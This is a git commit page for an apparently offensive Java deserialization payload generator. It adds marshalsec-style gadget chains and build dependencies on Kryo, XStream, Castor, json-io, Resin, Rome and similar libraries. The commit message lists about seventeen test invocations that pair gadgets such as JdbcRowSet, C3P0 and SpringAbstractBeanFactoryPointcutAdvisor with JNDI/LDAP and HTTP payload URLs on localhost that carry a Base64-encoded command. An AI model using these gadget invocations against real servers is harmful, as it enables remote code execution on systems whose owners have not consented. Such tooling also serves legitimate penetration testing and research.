增加 marshalsec 的output

一些测试用例
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -kryo
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jy
-y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy
-y -g XBean  -p http://127.0.0.1:8080/ExecObject -js
-y -g LazySearchEnumeration  -p http://127.0.0.1:8080/ExecObject -js
-y -g Resin  -p http://127.0.0.1:8080/ExecObject -js
-y -g Groovy  -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -js
-y -g Rome  -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -ca
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -ca
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
-y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -jk
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
-y -g SpringPropertyPathFactory -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
This commit is contained in:
Lya0
2024-09-15 16:30:26 +08:00
parent 95adfbb45c
commit eed218cc0c
26 changed files with 1495 additions and 44 deletions
+9 -1
View File
@@ -89,7 +89,15 @@ dependencies {
// api libs.commons.beanutils.commons.beanutils
api libs.javax.websocket.javax.websocket.api
api libs.com.caucho.resin
api libs.com.rometools.rome
api libs.org.apache.xbean.xbean.naming
api libs.com.thoughtworks.xstream
api libs.commons.configuration
api libs.com.esotericsoftware.kryo
api libs.org.jyaml.jyaml
api libs.com.cedarsoftware.json.io
api libs.org.codehaus.castor.castor.xml
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
runtimeOnly libs.org.aspectj.aspectjweaver
@@ -120,5 +128,5 @@ tasks.withType(Javadoc) {
compileJava {
options.compilerArgs << '-XDignore.symbol.file'
options.fork = true
options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
options.forkOptions.executable = '/Users/topsry/security-tools/java/amazon-corretto-8.jdk/Contents/Home/bin/javac'
}